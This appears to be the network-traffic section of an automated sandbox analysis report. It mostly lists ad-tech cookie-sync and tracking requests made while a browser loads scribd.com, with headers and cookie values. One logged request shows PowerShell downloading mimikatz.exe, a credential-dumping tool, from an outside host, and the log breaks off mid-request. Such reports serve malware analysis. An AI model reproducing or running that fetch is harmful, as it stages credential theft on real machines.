Source: global traffic	HTTP traffic detected: GET /idsync/ex/receive?partner_id=3107&partner_device_id=x_7JyzzTT9zH0E17zDr8&us_privacy=1-N- HTTP/1.1Host: pixel.tapad.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.yieldmo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /AdServer/ImgSync?gdpr=0&gdpr=0&gdpr_consent=&gdpr_consent=&p=160295&pu=https%3A%2F%2Fcs-server-s2s.yellowblue.io%2Fcs%3Ffwrd%3D1%26aid%3D11576%26id%3D%23PMUID HTTP/1.1Host: image8.pubmatic.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cs-server-s2s.yellowblue.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /getuid?gdpr=0&gdpr_consent=&redir=https%3A%2F%2Flive.primis.tech%2Flive%2FliveCS.php%3Fsource%3Dexternal%26advId%3D121%26advUuid%3D%24UID HTTP/1.1Host: eb2.3lift.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: receive-cookie-deprecation=1; tluidp=4416503600587711592667
Source: global traffic	HTTP traffic detected: GET /px.gif?ch=2 HTTP/1.1Host: ad-delivery.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8If-None-Match: "ad4b0f606e0f8465bc4c4c170b37e1a3"If-Modified-Since: Wed, 05 May 2021 19:25:32 GMT
Source: global traffic	HTTP traffic detected: GET /dna HTTP/1.1Host: dnacdn.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://gum.criteo.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://gum.criteo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: browser_data=hfFp9l9aSTZZSXN3RWdkb0VzR3RBVzZ2bzh3WlV5OHRwVWlZUkN3T1l4OHBLNFBWRTZ6Z09mdGMlMkJjbGxUQmw2R3JoZVpXOEhQRHdDcU1wRzZaVkRoNEFKN0VRJTNEJTNE
Source: global traffic	HTTP traffic detected: GET /?pid=fc4e1fcf-7b7a-41b5-a689-0f1570fe8fea&src=www&type=100&sid=0&uid=x_7JyzzTT9zH0E17zDr8&cb=1739863210529&url=https://www.scribd.com/&us_privacy=1-N-&gdpr=0&gdpr_consent= HTTP/1.1Host: wt.rqtrk.euConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.yieldmo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /pbsync?gdpr=0&gdpr_consent=&is=rise&redirectUri=https%3A%2F%2Fcs-server-s2s.yellowblue.io%2Fcs%3Ffwrd%3D1%26aid%3D11584%26uid%3D%24UID&us_privacy= HTTP/1.1Host: ads.yieldmo.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cs-server-s2s.yellowblue.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /deb/?m=xch&rt=html&gdpr=&gdpr_consent=&us_privacy=1-N-&id=zzz000000000002zzz&ru=https%3A%2F%2Fs2s.t13.io%2Fsetuid%3Fbidder%3D33across%26gdpr%3D%26gdpr_consent%3D%26us_privacy%3D1-N-%26gpp%3D%26gpp_sid%3D%26f%3Db%26uid%3D33XUSERID33X&b=1 HTTP/1.1Host: hde.tynt.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /ps/?ri=0015a00002hdV5tAAE&ru=https%3A%2F%2Fcs-server-s2s.yellowblue.io%2Fcs%3Ffwrd%3D1%26aid%3D11580%26puid%3D33XUSERID33X HTTP/1.1Host: ssc-cms.33across.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cs-server-s2s.yellowblue.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /check_uuid/https%3A%2F%2Fcs-server-s2s.yellowblue.io%2Fcs%3Faid%3D11603%26gdpr%3D%5BGDPR%5D%26gdpr_consent%3D%5BUSER_CONSENT%5D%26uid%3D$%7BBSW_UUID%7D HTTP/1.1Host: x.bidswitch.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cs-server-s2s.yellowblue.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /getuid?https://ads.yieldmo.com/v000/sync?extinit=0&userid=$UID&pn_id=an&us_privacy=1-N- HTTP/1.1Host: ib.adnxs.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.yieldmo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: receive-cookie-deprecation=1; XANDR_PANID=24dbrseDowk2Tea9qm3uMABTmiFnTIm2QAbN3-EUqjhlicKUPETACtUGLX_c-IrOzrzny_F2Y9NDAzkaxY_Z_EfGF9cz6wrkKtt5g-96Lto.
Source: global traffic	HTTP traffic detected: GET /async_usersync?cbfn=queuePixels HTTP/1.1Host: ib.adnxs.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://acdn.adnxs.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: receive-cookie-deprecation=1; XANDR_PANID=24dbrseDowk2Tea9qm3uMABTmiFnTIm2QAbN3-EUqjhlicKUPETACtUGLX_c-IrOzrzny_F2Y9NDAzkaxY_Z_EfGF9cz6wrkKtt5g-96Lto.
Source: global traffic	HTTP traffic detected: GET /bh/rtset?pid=561118&ev=1&rurl=https%3a%2f%2fads.yieldmo.com/v000/sync?userid=%%VGUID%%&pn_id=pp&us_privacy=1-N-&gdpr=0&gdpr_consent=&gpp=&gpp_sid= HTTP/1.1Host: bh.contextweb.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.yieldmo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /exchange/sync.php?p=primis&gdpr=0&gdpr_consent= HTTP/1.1Host: pixel.rubiconproject.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: audit_p=1\|UhAUeK5mAW+96IPQbdWLMjPesnv+p5APnXgaNHOtIjLlGNsBp+KQQcj+z4eB8T0oq4I6BwCEg9fyUhTWCqUS/Pv31DA4fHDqMp0HTDw5gZ7V/IjBlWfcnUFlvF8UlMcu0qFFTMmSniq+ZnloUXshQ8ouJzmKE+FMYPDxny9O7hNPVHjylZIeXNAPlTu0R9RN; khaos_p=M7A5MT0O-13-DO11
Source: global traffic	HTTP traffic detected: GET /getuid?https%3A%2F%2Fcs-server-s2s.yellowblue.io%2Fcs%3Ffwrd%3D1%26aid%3D11596%26gdpr%3D%5BGDPR%5D%26gdpr_consent%3D%5BUSER_CONSENT%5D%26id%3D%24UID HTTP/1.1Host: ib.adnxs.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cs-server-s2s.yellowblue.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: receive-cookie-deprecation=1; XANDR_PANID=24dbrseDowk2Tea9qm3uMABTmiFnTIm2QAbN3-EUqjhlicKUPETACtUGLX_c-IrOzrzny_F2Y9NDAzkaxY_Z_EfGF9cz6wrkKtt5g-96Lto.
Source: global traffic	HTTP traffic detected: GET /universal/v1?gdpr=0&gdpr_consent=&supply_id=5926d422 HTTP/1.1Host: match.sharethrough.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cs-server-s2s.yellowblue.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /bh/rtset?ev=1&gdpr=0&gdpr_consent=&pid=562615&rurl=https%3A%2F%2Fcs-server-s2s.yellowblue.io%2Fcs%3Ffwrd%3D1%26aid%3D11592%26uid%3D%25%25VGUID%25%25&us_privacy=%5BUS_PRIVACY%5D HTTP/1.1Host: bh.contextweb.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cs-server-s2s.yellowblue.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /pubsync?gdpr=0&gdpr_consent=&redir=https%3A%2F%2Flive.primis.tech%2Flive%2FliveCS.php%3Fsource%3Dexternal%26advId%3D126%26advUuid%3D%5Btvid%5D HTTP/1.1Host: mb9eo.publishers.tremorhub.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /usync.html?p=12776 HTTP/1.1Host: eus.rubiconproject.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://cdn.undertone.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: audit_p=1\|UhAUeK5mAW+96IPQbdWLMjPesnv+p5APnXgaNHOtIjLlGNsBp+KQQcj+z4eB8T0oq4I6BwCEg9fyUhTWCqUS/Pv31DA4fHDqMp0HTDw5gZ7V/IjBlWfcnUFlvF8UlMcu0qFFTMmSniq+ZnloUXshQ8ouJzmKE+FMYPDxny9O7hNPVHjylZIeXNAPlTu0R9RN; khaos_p=M7A5MT0O-13-DO11
Source: global traffic	HTTP traffic detected: GET /exchange/sync.php?p=yieldmo&us_privacy=1-N- HTTP/1.1Host: pixel-us-east.rubiconproject.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.yieldmo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: audit_p=1\|UhAUeK5mAW+96IPQbdWLMjPesnv+p5APnXgaNHOtIjLlGNsBp+KQQcj+z4eB8T0oq4I6BwCEg9fyUhTWCqUS/Pv31DA4fHDqMp0HTDw5gZ7V/IjBlWfcnUFlvF8UlMcu0qFFTMmSniq+ZnloUXshQ8ouJzmKE+FMYPDxny9O7hNPVHjylZIeXNAPlTu0R9RN; khaos_p=M7A5MT0O-13-DO11
Source: global traffic	HTTP traffic detected: GET /user-matching?gdpr=0&gdpr_consent=&id=3663 HTTP/1.1Host: ads.stickyadstv.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cs-server-s2s.yellowblue.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /AdServer/ImgSync?p=160318&gdpr=&gdpr_consent=&pu=https%3A%2F%2Fimage4.pubmatic.com%2FAdServer%2FSPug%3Fp%3D160318%26pmc%3DPM_PMC%26pr%3Dhttps%253A%252F%252Fusr.undertone.com%252FuserPixel%252Fsync%253FpartnerId%253D53%2526uid%253D%2523PMUID&rdf=1 HTTP/1.1Host: image8.pubmatic.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cdn.undertone.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /usync/prbds2s?gdpr=&gdpr_consent=&us_privacy=1-N-&r=https%3A%2F%2Fs2s.t13.io%2Fsetuid%3Fbidder%3Dgumgum%26gdpr%3D%26gdpr_consent%3D%26us_privacy%3D1-N-%26gpp%3D%26gpp_sid%3D%26f%3Db%26uid%3D HTTP/1.1Host: rtb.gumgum.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /lb/v1 HTTP/1.1Host: lb.eu-1-id5-sync.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /stein/mimikatz.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: xspacet.wikiConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bounce HTTP/1.1Host: id5-sync.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /c/?adExInit=rise&gdpr=%5BGDPR%5D&gdpr_consent=%5BUSER_CONSENT%5D&redir=https%3A%2F%2Fcs-server-s2s.yellowblue.io%2Fcs%3Ffwrd%3D1%26aid%3D11574%26id%3D%24UID HTTP/1.1Host: s.ad.smaato.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cs-server-s2s.yellowblue.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /track/cmb/generic?ttd_pid=sirnsvg&ttd_tpi=1&gdpr=0&gdpr_consent= HTTP/1.1Host: match.adsrvr.orgConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cdn.undertone.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /cm-notify?pi=rise HTTP/1.1Host: creativecdn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cs-server-s2s.yellowblue.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /khaos.json?gdpr=0&us_privacy=1-N- HTTP/1.1Host: token.rubiconproject.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://eus.rubiconproject.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://eus.rubiconproject.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: khaos_p=M7A5MT0O-13-DO11; receive-cookie-deprecation=1; audit_p=1\|UhAUeK5mAW+96IPQbdWLMjPesnv+p5APnXgaNHOtIjLlGNsBp+KQQcj+z4eB8T0oJPGhVd4JlnDyUhTWCqUS/Pv31DA4fHDqMp0HTDw5gZ7V/IjBlWfcnUFlvF8UlMcu0qFFTMmSniq+ZnloUXshQ8ouJzmKE+FMYPDxny9O7hNPVHjylZIeXNAPlTu0R9RN
Source: global traffic	HTTP traffic detected: GET /iu3?cm3ppd=1&d=dtb-pub&csif=t&dl=n-mediagrid_n-index_rx_n-acuityads_n-MediaNet_ox-db5_n-colossusMedia_n-cadent_n-adman-v2_n-onetag_pm-db5_n-simpli.fi_ym_n-vmg_n-nativo_sovrn_gg_n-adMediaV1_n-Ogury_n-Beeswax_smrt_n-inmobi_cnv_n-Seedtag_rbd_ppt_an-db5_n-Rise_3lift HTTP/1.1Host: s.amazon-adsystem.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, 